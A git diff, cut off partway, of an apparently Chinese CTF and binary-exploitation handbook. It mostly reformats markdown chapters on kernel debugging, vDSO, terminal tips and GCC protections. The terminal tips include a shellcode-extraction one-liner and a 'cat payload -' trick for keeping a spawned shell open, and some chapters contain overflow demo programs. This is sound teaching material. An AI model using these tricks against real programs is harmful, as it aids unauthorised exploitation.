index 79f0e9eac7..0c9e0748b4 100644 + size_t tbytes; + checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); - + MAYBE_INIT_TCACHE (); ``` - ## 参考资料 + - [thread local caching in glibc malloc](http://tukan.farm/2017/07/08/tcache/) - [MallocInternals](https://sourceware.org/glibc/wiki/MallocInternals) - [CVE-2017-17426](https://sourceware.org/bugzilla/show_bug.cgi?id=22375) diff --git a/doc/4.15_vsyscall_vdso.md b/doc/4.15_vsyscall_vdso.md index 45d6821..81159c0 100644 --- a/doc/4.15_vsyscall_vdso.md +++ b/doc/4.15_vsyscall_vdso.md @@ -5,29 +5,29 @@ - [CTF 实例](#ctf-实例) - [参考资料](#参考资料) - 在章节 1.5.9 中我们介绍了 Linux 系统调用的知识。这一节中将了解 `vsyscall` 和 `vDSO` 两种机制,它们被设计用来加速系统调用的处理。 ## vsyscall -``` + +```text $ cat /proc/self/maps | grep vsyscall ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ``` - ## vDSO -``` -$ cat /proc/self/maps | grep vdso + +```text +$ cat /proc/self/maps | grep vdso 7fff223aa000-7fff223ac000 r-xp 00000000 00:00 0 [vdso] $ cat /proc/self/maps | grep vdso 7fff1048f000-7fff10491000 r-xp 00000000 00:00 0 [vdso] ``` - ## CTF 实例 + 例如章节 6.1.6 的 ret2vdso。 - ## 参考资料 + - `man vdso` - [Creating a vDSO: the Colonel's Other Chicken](https://www.linuxjournal.com/content/creating-vdso-colonels-other-chicken) diff --git a/doc/4.1_linux_kernel_debug.md b/doc/4.1_linux_kernel_debug.md index f09d5a5..4a10466 100644 --- a/doc/4.1_linux_kernel_debug.md +++ b/doc/4.1_linux_kernel_debug.md @@ -6,12 +6,13 @@ - [kdb](#kdb) - [参考资料](#参考资料) - ## 准备工作 + 与用户态程序不同,为了进行内核调试,我们需要两台机器,一台调试,另一台被调试。在调试机上需要安装必要的调试器(如GDB),被调试机上运行着被调试的内核。 这里选择用 Ubuntu16.04 来展示,因为该发行版默认已经开启了内核调试支持: -``` + +```text $ cat /boot/config-4.13.0-38-generic | grep GDB # CONFIG_CFG80211_INTERNAL_REGDB is not set CONFIG_SERIAL_KGDB_NMI=y @@ -24,41 +25,53 @@ CONFIG_KGDB_LOW_LEVEL_TRAP=y CONFIG_KGDB_KDB=y ``` -#### 获取符号文件 +### 获取符号文件 + 下面我们来准备调试需要的符号文件。看一下该版本的 code name: -``` + +```text $ lsb_release -c -Codename: xenial +Codename: xenial ``` + 然后在下面的目录下新建文件 `ddebs.list`,其内容如下(注意看情况修改Codename): -``` -$ cat /etc/apt/sources.list.d/ddebs.list + +```text +$ cat /etc/apt/sources.list.d/ddebs.list deb http://ddebs.ubuntu.com/ xenial main restricted universe multiverse deb http://ddebs.ubuntu.com/ xenial-security main restricted universe multiverse deb http://ddebs.ubuntu.com/ xenial-updates main restricted universe multiverse deb http://ddebs.ubuntu.com/ xenial-proposed main restricted universe multiverse ``` + `http://ddebs.ubuntu.com` 是 Ubuntu 的符号服务器。执行下面的命令添加密钥: -``` + +```text $ wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add - ``` + 然后就可以更新并下载符号文件了: -``` + +```text $ sudo apt-get update $ uname -r 4.13.0-38-generic $ sudo apt-get install linux-image-4.13.0-38-generic-dbgsym ``` + 完成后,符号文件将会放在下面的目录下: -``` -$ file /usr/lib/debug/boot/vmlinux-4.13.0-38-generic + +```text +$ file /usr/lib/debug/boot/vmlinux-4.13.0-38-generic /usr/lib/debug/boot/vmlinux-4.13.0-38-generic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=f00f4b7ef0ab8fa738b6a9caee91b2cbe23fef97, not stripped ``` + 可以看到这是一个静态链接的可执行文件,使用 gdb 即可进行调试,例如这样: -``` -$ gdb -q /usr/lib/debug/boot/vmlinux-4.13.0-38-generic + +```text +$ gdb -q /usr/lib/debug/boot/vmlinux-4.13.0-38-generic Reading symbols from /usr/lib/debug/boot/vmlinux-4.13.0-38-generic...done. -gdb-peda$ p init_uts_ns +gdb-peda$ p init_uts_ns $1 = { kref = { refcount = { @@ -66,40 +79,45 @@ $1 = { counter = 0x2 } } - }, + }, name = { - sysname = "Linux", '\000' , - nodename = "(none)", '\000' , - release = "4.13.0-38-generic", '\000' , - version = "#43~16.04.1-Ubuntu SMP Wed Mar 14 17:48:43 UTC 2018", '\000' , - machine = "x86_64", '\000' , + sysname = "Linux", '\000' , + nodename = "(none)", '\000' , + release = "4.13.0-38-generic", '\000' , + version = "#43~16.04.1-Ubuntu SMP Wed Mar 14 17:48:43 UTC 2018", '\000' , + machine = "x86_64", '\000' , domainname = "(none)", '\000' - }, - user_ns = 0xffffffff822517a0 , - ucounts = 0x0 , + }, + user_ns = 0xffffffff822517a0 , + ucounts = 0x0 , ns = { stashed = { counter = 0x0 - }, - ops = 0xffffffff81e2cc80 , + }, + ops = 0xffffffff81e2cc80 , inum = 0xeffffffe } } ``` -#### 获取源文件 +### 获取源文件 + 将 `/etc/apt/sources.list` 里的 `deb-src` 行都取消掉注释: -``` + +```text $ sed -i '/^#\sdeb-src /s/^#//' "/etc/apt/sources.list" ``` + 然后就可以更新并获取 Linux 内核源文件了: -``` + +```text $ sudo apt-get update $ mkdir -p ~/kernel/source $ cd ~/kernel/source $ apt-get source $(dpkg-query '--showformat=${source:Package}=${source:Version}' --show linux-image-$(uname -r)) ``` -``` + +```text $ ls linux-hwe-4.13.0/ arch CREDITS debian.master firmware ipc lib net security tools zfs block crypto Documentation fs Kbuild MAINTAINERS README snapcraft.yaml ubuntu @@ -107,38 +125,44 @@ certs debian drivers include Kconfig Makefile samples sou COPYING debian.hwe dropped.txt init kernel mm scripts spl ``` - ## printk + 在用户态程序中,我们常常使用 `printf()` 来打印信息,方便调试,在内核中也可以这样做。内核(v4.16.3)使用函数 `printk()` 来输出信息,在 `include/linux/kern_levels.h` 中定义了 8 个级别: + ```c -#define KERN_EMERG KERN_SOH "0" /* system is unusable */ -#define KERN_ALERT KERN_SOH "1" /* action must be taken immediately */ -#define KERN_CRIT KERN_SOH "2" /* critical conditions */ -#define KERN_ERR KERN_SOH "3" /* error conditions */ -#define KERN_WARNING KERN_SOH "4" /* warning conditions */ -#define KERN_NOTICE KERN_SOH "5" /* normal but significant condition */ -#define KERN_INFO KERN_SOH "6" /* informational */ -#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */ +#define KERN_EMERG KERN_SOH "0" /* system is unusable */ +#define KERN_ALERT KERN_SOH "1" /* action must be taken immediately */ +#define KERN_CRIT KERN_SOH "2" /* critical conditions */ +#define KERN_ERR KERN_SOH "3" /* error conditions */ +#define KERN_WARNING KERN_SOH "4" /* warning conditions */ +#define KERN_NOTICE KERN_SOH "5" /* normal but significant condition */ +#define KERN_INFO KERN_SOH "6" /* informational */ +#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */ ``` + 用法是: + ```c printk(KERN_EMERG "hello world!\n"); // 中间没有逗号 ``` 而当前控制台的日志级别如下所示: -``` + +```text $ cat /proc/sys/kernel/printk 4 4 1 4 ``` + 这 4 个数值在文件定义及默认值在如下所示: + ```c // kernel/printk/printk.c int console_printk[4] = { - CONSOLE_LOGLEVEL_DEFAULT, /* console_loglevel */ - MESSAGE_LOGLEVEL_DEFAULT, /* default_message_loglevel */ - CONSOLE_LOGLEVEL_MIN, /* minimum_console_loglevel */ - CONSOLE_LOGLEVEL_DEFAULT, /* default_console_loglevel */ + CONSOLE_LOGLEVEL_DEFAULT, /* console_loglevel */ + MESSAGE_LOGLEVEL_DEFAULT, /* default_message_loglevel */ + CONSOLE_LOGLEVEL_MIN, /* minimum_console_loglevel */ + CONSOLE_LOGLEVEL_DEFAULT, /* default_console_loglevel */ }; @@ -161,57 +185,70 @@ int console_printk[4] = { #define minimum_console_loglevel (console_printk[2]) #define default_console_loglevel (console_printk[3]) ``` + 虽然这些数值控制了当前控制台的日志级别,但使用虚拟文件 `/proc/kmsg` 或者命令 `dmesg` 总是可以查看所有的信息。 - ## QEMU + gdb + QEMU 是一款开源的虚拟机软件,可以使用它模拟出一个完整的操作系统(参考章节2.1.1)。这里我们介绍怎样使用 QEMU 和 gdb 进行内核调试,关于 Linux 内核的编译可以参考章节 1.5.9。 接下来我们需要借助 BusyBox 来创建用户空间: -``` + +```text $ wget -c http://busybox.net/downloads/busybox-1.28.3.tar.bz2 $ tar -xvjf busybox-1.28.3.tar.bz2 $ cd busybox-1.28.3/ ``` + 生成默认配置文件并修改 `CONFIG_STATIC=y` 让它生成的是一个静态链接的 BusyBox,这是因为 qemu 中没有动态链接库: -``` + +```text $ make defconfig $ cat .config | grep "CONFIG_STATIC" CONFIG_STATIC=y ``` + 编译安装后会出现在 `_install` 目录下: + +```text +$ make +$ sudo make install +$ ls _install +bin linuxrc sbin usr ``` -$ make -$ sudo make install -$ ls _install -bin linuxrc sbin usr -``` + 接下来创建 initramfs 的目录结构: -``` -$ mkdir initramfs -$ cd initramfs -$ cp ../_install/* -rf ./ -$ mkdir dev proc sys + +```text +$ mkdir initramfs +$ cd initramfs +$ cp ../_install/* -rf ./ +$ mkdir dev proc sys $ sudo cp -a /dev/null /dev/console /dev/tty /dev/tty2 /dev/tty3 /dev/tty4 dev/ -$ rm linuxrc +$ rm linuxrc $ vim init # 创建启动脚本 -$ cat init +$ cat init #!/bin/busybox sh mount -t proc none /proc mount -t sysfs none /sys exec /sbin/init ``` + 最后把它们打包: + +```text +$ find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz ``` -$ find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz -``` + 这样 initramfs 根文件系统就做好了,其中包含了必要的设备驱动和工具,boot loader 会加载 initramfs 到内存,然后内核将其挂载到根目录 `/`,并运行 `init` 脚本,挂载真正的磁盘根文件系统。 QEMU 启动! -``` + +```text $ qemu-system-x86_64 -s -S -kernel ~/kernelbuild/linux-4.16.3/arch/x86_64/boot/bzImage -initrd ~/kernelbuild/busybox-1.28.3/initramfs.cpio.gz -nographic -append "console=ttyS0" ``` + - `-s`:`-gdb tcp::1234` 的缩写,QEMU 监听在 TCP 端口 1234,等待 gdb 的连接。 - `-S`:在启动时冻结 CPU,等待 gdb 输入 c 时继续执行。 - `-kernel`:指定内核。 @@ -220,9 +257,10 @@ $ qemu-system-x86_64 -s -S -kernel ~/kernelbuild/linux-4.16.3/arch/x86_64/boot/b - `-append "console=ttyS0`:所有内核输出到 ttyS0 串行控制台,并打印到终端。 在另一个终端里使用打开 gdb,然后尝试在函数 `cmdline_proc_show()` 处下断点: -``` -$ gdb -ex "target remote localhost:1234" ~/kernelbuild/linux-4.16.3/vmlinux -(gdb) b cmdline_proc_show + +```text +$ gdb -ex "target remote localhost:1234" ~/kernelbuild/linux-4.16.3/vmlinux +(gdb) b cmdline_proc_show Breakpoint 1 at 0xffffffff8121ad70: file fs/proc/cmdline.c, line 9. (gdb) c Continuing. @@ -230,19 +268,22 @@ Continuing. Breakpoint 1, cmdline_proc_show (m=0xffff880006701b00, v=0x1 ) at fs/proc/cmdline.c:9 9 seq_printf(m, "%s\n", saved_command_line); ``` + 可以看到,当我们在内核里执行 `cat /proc/cmdline` 时就被断下来了。 -``` -/ # id + +```text +# id uid=0 gid=0 -/ # echo hello kernel! +# echo hello kernel! hello kernel! -/ # cat /proc/cmdline +# cat /proc/cmdline console=ttyS0 ``` 现在我们已经可以对内核代码进行单步调试了。对于内核模块,我们同样可以进行调试,但模块是动态加载的,gdb 不会知道这些模块被加载到哪里,所以需要使用 `add-symbol-file` 命令来告诉它。 来看一个 helloworld 的例子,[源码](../src/others/4.1_linux_kernel_debug): + ```c #include #include @@ -265,7 +306,9 @@ module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("A simple module."); ``` + Makefile 如下: + ```makefile BUILDPATH := ~/kernelbuild/linux-4.16.3/ obj-m += hello.o @@ -276,38 +319,46 @@ all: clean: make -C $(BUILDPATH) M=$(PWD) clean ``` + 编译模块并将 `.ko` 文件复制到 initramfs,然后重新打包: -``` + +```text $ make && cp hello.ko ~/kernelbuild/busybox-1.28.3/initramfs $ cd ~/kernelbuild/busybox-1.28.3/initramfs $ find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz ``` 最后重新启动 QEMU 即可: -``` -/ # insmod hello.ko + +```text +# insmod hello.ko [ 7.887392] hello: loading out-of-tree module taints kernel. [ 7.892630] Hello module! -/ # lsmod +# lsmod hello 16384 0 - Live 0xffffffffa0000000 (O) -/ # rmmod hello.ko +# rmmod hello.ko [ 24.523830] Goodbye module! ``` + 三个命令分别用于载入、列出和卸载模块。 再回到 gdb 中,`add-symbol-file` 添加模块的 `.text`、`.data` 和 `.bss` 段的地址,这些地址在类似 `/sys/kernel//sections` 位置: -``` -/ # cat /sys/module/hello/sections/.text + +```text +# cat /sys/module/hello/sections/.text 0x00000000fa16acc0 ``` -在这个例子中,只有 .text 段: -``` -(gdb) add-symbol-file ~/kernelbuild/busybox-1.28.3/initramfs/hello.ko 0x00000000fa16acc0 -``` -然后就可以对该模块进行调试了。 +在这个例子中,只有 .text 段: + +```text +(gdb) add-symbol-file ~/kernelbuild/busybox-1.28.3/initramfs/hello.ko 0x00000000fa16acc0 +``` + +然后就可以对该模块进行调试了。 ## kdb ## 参考资料 + - [KernelDebuggingTricks](https://wiki.ubuntu.com/Kernel/KernelDebuggingTricks) diff --git a/doc/4.2_Linux_terminal_tips.md b/doc/4.2_Linux_terminal_tips.md index 25655b7..a63fc8b 100644 --- a/doc/4.2_Linux_terminal_tips.md +++ b/doc/4.2_Linux_terminal_tips.md @@ -8,8 +8,8 @@ - [nohup 和 &](#nohup-和-) - [cat -](#cat--) - ## 通配符 + - `*`:匹配任意字符 - `ls test*` - `?`:匹配任意单个字符 @@ -19,9 +19,10 @@ - `[!...]`:匹配除括号内字符以外的单个字符 - `ls test[!123]` - ## 重定向输入字符 + 有时候我们需要在 shell 里输入键盘上没有对应的字符,如 `0x1F`,就需要使用重定向输入。下面是一个例子: + ```C #include #include @@ -38,31 +39,36 @@ void main() { } } ``` -``` + +```text $ gcc test.c -$ ./a.out +$ ./a.out 请输入十六进制为 0x1f 的字符: 0x1f wrong $ echo -e "\x1f" -$ echo -e "\x1f" | ./a.out +$ echo -e "\x1f" | ./a.out 请输入十六进制为 0x1f 的字符: correct ``` - ## 从可执行文件中提取 shellcode + ```text for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done ``` + 注意:在 objdump 中空字节可能会被删除。 - ## 查看进程虚拟地址空间 + 有时我们需要知道一个进程的虚拟地址空间是如何使用的,以确定栈是否是可执行的。 + ```text $ cat /proc//maps ``` + 下面我们分别来看看可执行栈和不可执行栈的不同: + ```text $ cat hello.c #include @@ -125,9 +131,11 @@ ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsysca [2]+ Stopped ./a.out2 ``` + 当使用 `-z execstack` 参数进行编译时,会关闭 `Stack Protector`。我们可以看到在 `a.out1` 中的 `stack` 是 `rw` 的,而 `a.out2` 中则是 `rwx` 的。 `maps` 文件有 6 列,分别为: + - **地址**:库在进程里地址范围 - **权限**:虚拟内存的权限,r=读,w=写,x=执行,s=共享,p=私有 - **偏移量**:库在进程里地址偏移量 @@ -136,20 +144,23 @@ ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsysca - **路径**: 映像文件的路径,经常同一个地址有两个地址范围,那是因为一段是 `r-xp` 为只读的代码段,一段是 `rwxp` 为可读写的数据段 除了 `/proc//maps` 之外,还有一些有用的设备和文件。 + - `/proc/kcore` 是 Linux 内核运行时的动态 core 文件。它是一个原始的内存转储,以 ELF core 文件的形式呈现,可以使用 GDB 来调试和分析内核。 - `/boot/System.map` 是一个特定内核的内核符号表。它是你当前运行的内核的 System.map 的链接。 - `/proc/kallsyms` 和 `System.map` 很类似,但它在 `/proc` 目录下,所以是由内核维护的,并可以动态更新。 - `/proc/iomem` 和 `/proc//maps` 类似,但它是用于系统内存的。如: - ``` + + ```text # cat /proc/iomem | grep Kernel 01000000-01622d91 : Kernel code 01622d92-01b0ddff : Kernel data 01c56000-01d57fff : Kernel bss ``` - ## ASCII 表 + ASCII 表将键盘上的所有字符映射到固定的数字。有时候我们可能需要查看这张表: + ```text $ man ascii @@ -245,6 +256,7 @@ F: / ? O _ o DEL ``` Hex 转 Char: + ```shell $ echo -e '\x41\x42\x43\x44' $ printf '\x41\x42\x43\x44' @@ -253,49 +265,58 @@ $ perl -e 'print "\x41\x42\x43\x44";' ``` Char 转 Hex: + ```shell $ python -c 'print(b"ABCD".hex())' ``` - ## nohup 和 & + 用 `nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。 该命令的一般形式为: -``` + +```text $ nohup & ``` -#### 前后台进程切换 +### 前后台进程切换 + 可以通过 `bg`(background)和 `fg`(foreground)命令进行前后台进程切换。 显示Linux中的任务列表及任务状态: -``` + +```text $ jobs -l [1]+ 9433 Stopped (tty input) ./a.out ``` 将进程放到后台运行: -``` + +```text $ bg 1 ``` 将后台进程放到前台运行: -``` + +```text $ fg 1 ``` - ## cat - + 通常使用 cat 时后面都会跟一个文件名,但如果没有,或者只有一个 `-`,则表示从标准输入读取数据,它会保持标准输入开启,如: -``` + +```text $ cat - hello world hello world ^C ``` + 更进一步,如果你采用 `cat file -` 的用法,它会先输出 file 的内容,然后是标准输入,它将标准输入的数据复制到标准输出,并保持标准输入开启: -``` + +```text $ echo hello > text $ cat text - hello @@ -303,9 +324,11 @@ world world ^C ``` + 有时我们在向程序发送 paylaod 的时候,它执行完就直接退出了,并没有开启 shell,我们就可以利用上面的技巧: -``` -$ cat payload | ./a.out + +```text +$ cat payload | ./a.out > Segmentation fault (core dumped) $ cat payload - | ./a.out @@ -314,4 +337,5 @@ firmy ^C Segmentation fault (core dumped) ``` + 这样就得到了 shell。 diff --git a/doc/4.3_gcc_arg.md b/doc/4.3_gcc_arg.md index 00c564b..eb15ef5 100644 --- a/doc/4.3_gcc_arg.md +++ b/doc/4.3_gcc_arg.md @@ -6,19 +6,20 @@ - [mcheck](#mcheck) - [参考资料](#参考资料) - ## GCC -``` + +```text $ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2 $ tar -xjvf gcc-4.4.0.tar.bz2 $ ./configure $ make && sudo make install ``` - ## 常用选项 + 使用 `gcc -v` 可以查看默认开启的选项: -``` + +```text $ gcc -v Using built-in specs. COLLECT_GCC=gcc @@ -26,24 +27,28 @@ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/5/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu 5.4.0-6ubuntu1~16.04.9' --with-bugurl=file:///usr/share/doc/gcc-5/README.Bugs --enable-languages=c,ada,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-5 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-5-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-5-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-5-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix -gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) +gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ``` -#### 控制标准版本的编译选项 +### 控制标准版本的编译选项 + - `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。 - `-std=`:通过使用一个参数来设置需要的标准。 - `c89`:支持 C89 标准。 - `iso9899:1999`:支持 ISO C90 标准。 - `gnu89`:支持 C89 标准。 -#### 控制标准版本的常量 +### 控制标准版本的常量 + 这些常量(#define)可以通过编译器的命令行选项来设置,或者通过源代码总的 `#define` 语句来定义。 + - `__STRICT_ANSI__`:强制使用 C 语言的 ISO 标准。这个常量通过命令行选项 `-ansi` 来定义。 - `_POSIX_C_SOURCE=2`:启用由 IEEE Std1003.1 和 1003.2 标准定义的特性。 - `_BSD_SOURCE`:启用 BSD 类型的特性。 - `_GNU_SOURCE`:启用大量特性,其中包括 GNU 扩展。 -#### 编译器的警告选项 +### 编译器的警告选项 + - `-pedantic`:除了启用用于检查代码是否遵守 C 语言标准的选项外,还关闭了一些不被标准允许的传统 C 语言结构,并且禁用所有的 GNU 扩展。 - `-Wformat`:检查 printf 系列函数所使用的参数类型是否正确。 - `Wparentheses`:检查是否总是提供了需要的圆括号。当想要检查一个复杂结构的初始化是否按照预期进行时,这个选项就很有用。 @@ -51,11 +56,12 @@ gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) - `Wunused`:检查诸如声明静态函数但没有定义、未使用的参数和丢弃返回结果等情况。 - `Wall`:启用绝大多数 gcc 的警告选项,包括所有以 -W 为前缀的选项。 - ## Address sanitizer + Address sanitizer 是一种用于检测内存错误的技术,GCC 从 4.8 版本开始支持了这一技术。ASan 在编译时插入额外指令到内存访问操作中,同时通过 Shadow memory 来记录和检测内存的有效性。ASan 其实只是 Sanitizer 一系列工具中的一员,其他工具比如 memory leak 检测在 LeakSanitizer 中,uninitialized memory read 检测在 MemorySanitizer 中等等。 举个例子,很明显下面这个程序存在栈溢出: + ```C #include void main() { @@ -63,13 +69,17 @@ void main() { int b = a[11]; } ``` + 编译时加上参数 `-fsanitize=address`,如果使用 Makefile,则将参数加入到 CFLAGS 中: -``` + +```text $ gcc -fsanitize=address santest.c ``` + 然后运行: -``` -$ ./a.out + +```text +$ ./a.out ================================================================= ==9399==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc03f4d64c at pc 0x565515082ad6 bp 0x7ffc03f4d5e0 sp 0x7ffc03f4d5d0 READ of size 4 at 0x7ffc03f4d64c thread T0 @@ -99,7 +109,7 @@ Shadow bytes around the buggy address: 0x1000007e1b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 - Partially addressable: 01 02 03 04 05 06 07 + Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 @@ -118,21 +128,25 @@ Shadow byte legend (one shadow byte represents 8 application bytes): Right alloca redzone: cb ==9399==ABORTING ``` + 确实检测出了问题。在实战篇中,为了更好地分析软件漏洞,我们可能会经常用到这个选项。 -参考:https://en.wikipedia.org/wiki/AddressSanitizer - +参考: ## mcheck + 利用 mcheck 可以实现堆内存的一致性状态检查。其定义在 `/usr/include/mcheck.h`,是一个 GNU 扩展函数,原型如下: + ```c #include int mcheck(void (*abortfunc)(enum mcheck_status mstatus)); ``` + 可以看到参数是一个函数指针,但检查到堆内存异常时,通过该指针调用 abortfunc 函数,同时传入一个 mcheck_status 类型的参数。 举个例子,下面的程序存在 double-free 的问题: + ```c #include #include @@ -147,10 +161,12 @@ void main() { fprintf(stderr, "Finish\n"); } ``` + 通过设置参数 `-lmcheck` 来链接 mcheck 函数: -``` -$ gcc -lmcheck t_mcheck.c -$ ./a.out + +```text +$ gcc -lmcheck t_mcheck.c +$ ./a.out About to free About to free a second time block freed twice @@ -158,30 +174,33 @@ Aborted (core dumped) ``` 还可以通过设置环境变量 `MALLOC_CHECK_` 来实现,这样就不需要重新编译程序。 -``` + +```text $ gcc mcheck.c $ #检查到错误时不作任何提示 -$ MALLOC_CHECK_=0 ./a.out +$ MALLOC_CHECK_=0 ./a.out About to free About to free a second time Finish $ #检查到错误时打印一条信息到标准输出 -$ MALLOC_CHECK_=1 ./a.out +$ MALLOC_CHECK_=1 ./a.out About to free About to free a second time *** Error in `./a.out': free(): invalid pointer: 0x0000000001fb9010 *** Finish $ #检查到错误时直接中止程序 -$ MALLOC_CHECK_=2 ./a.out +$ MALLOC_CHECK_=2 ./a.out About to free About to free a second time Aborted (core dumped) ``` + 具体参考 `man 3 mcheck` 和 `man 3 mallopt`。 glibc 还提供了 `mtrace()` 和 `muntrace()` 函数分别在程序中打开和关闭对内存分配调用进行跟踪的功能。这些函数需要与环境变量 `MALLOC_TRACE` 配合使用,该变量定义了写入跟踪信息的文件名。在被调用时,`mtrace()` 会检查是否定义了该文件,又是否可以读写该文件。如果一切正常,那么会在文件里跟踪和记录所有对 malloc 系列函数的调用。由于生成的文件不易于理解,还提供了脚本(`mtrace`)用于分析文件,并生成易于理解的汇总报告。 将上面的例子修改一下: + ```c #include #include @@ -189,7 +208,7 @@ glibc 还提供了 `mtrace()` 和 `muntrace()` 函数分别在程序中打开和 void main() { char *p; - + mtrace(); calloc(16, 16); @@ -205,15 +224,16 @@ void main() { muntrace(); } ``` -``` -$ gcc t_mtrace.c -$ export MALLOC_TRACE=/tmp/t -$ ./a.out + +```text +$ gcc t_mtrace.c +$ export MALLOC_TRACE=/tmp/t +$ ./a.out calloc some chunks that will not be freed About to free About to free a second time Finish -$ mtrace /tmp/t +$ mtrace /tmp/t - 0x000055e427cde7b0 Free 5 was never alloc'd 0x55e425da287c Memory not freed: @@ -221,8 +241,9 @@ Memory not freed: Address Size Caller 0x000055e427cde6a0 0x100 at 0x55e425da27f6 ``` + 于是 double-free 和内存泄漏被检测出来了。 - ## 参考资料 + - [GCC online documentation](https://gcc.gnu.org/onlinedocs/) diff --git a/doc/4.4_gcc_sec.md b/doc/4.4_gcc_sec.md index de34f93..95f448b 100644 --- a/doc/4.4_gcc_sec.md +++ b/doc/4.4_gcc_sec.md @@ -5,14 +5,16 @@ - [保护机制检测](#保护机制检测) - [地址空间布局随机化](#地址空间布局随机化) - ## 技术简介 + Linux 中有各种各样的安全防护,其中 ASLR 是由内核直接提供的,通过系统配置文件控制。NX,Canary,PIE,RELRO 等需要在编译时根据各项参数开启或关闭。未指定参数时,使用默认设置。 -#### CANARY +### CANARY + 启用 CANARY 后,函数开始执行的时候会先往栈里插入 canary 信息,当函数返回时验证插入的 canary 是否被修改,如果是,则说明发生了栈溢出,程序停止运行。 下面是一个例子: + ```c #include void main(int argc, char **argv) { @@ -20,24 +22,30 @@ void main(int argc, char **argv) { scanf("%s", buf); } ``` + 我们先开启 CANARY,来看看执行的结果: + ```text $ gcc -m32 -fstack-protector canary.c -o f.out $ python -c 'print("A"*20)' | ./f.out *** stack smashing detected ***: ./f.out terminated Segmentation fault (core dumped) ``` + 接下来关闭 CANARY: + ```text $ gcc -m32 -fno-stack-protector canary.c -o fno.out $ python -c 'print("A"*20)' | ./fno.out Segmentation fault (core dumped) ``` + 可以看到当开启 CANARY 的时候,提示检测到栈溢出和段错误,而关闭的时候,只有提示段错误。 下面对比一下反汇编代码上的差异: 开启 CANARY 时: + ```text gdb-peda$ disassemble main Dump of assembler code for function main: @@ -75,11 +83,12 @@ Dump of assembler code for function main: 0x0000060b <+94>: pop ebx 0x0000060c <+95>: pop ebp 0x0000060d <+96>: lea esp,[ecx-0x4] - 0x00000610 <+99>: ret + 0x00000610 <+99>: ret End of assembler dump. ``` 关闭 CANARY 时: + ```text gdb-peda$ disassemble main Dump of assembler code for function main: @@ -107,26 +116,29 @@ Dump of assembler code for function main: 0x00000596 <+57>: pop ebx 0x00000597 <+58>: pop ebp 0x00000598 <+59>: lea esp,[ecx-0x4] - 0x0000059b <+62>: ret + 0x0000059b <+62>: ret End of assembler dump. ``` -#### FORTIFY +### FORTIFY + FORTIFY 的选项 `-D_FORTIFY_SOURCE` 往往和优化 `-O` 选项一起使用,以检测缓冲区溢出的问题。 下面是一个简单的例子: + ```c #include void main() { - char str[3]; - strcpy(str, "abcde"); + char str[3]; + strcpy(str, "abcde"); } ``` + ```text $ gcc -O2 fortify.c $ checksec --file a.out -RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE -Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 0a.out +RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE +Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 0 a.out $ gcc -O2 -D_FORTIFY_SOURCE=2 fortify.c In file included from /usr/include/string.h:639:0, @@ -137,28 +149,33 @@ In function ‘strcpy’, return __builtin___strcpy_chk (__dest, __src, __bos (__dest)); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $ checksec --file a.out -RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE -Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 2 2a.out +RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE +Partial RELRO 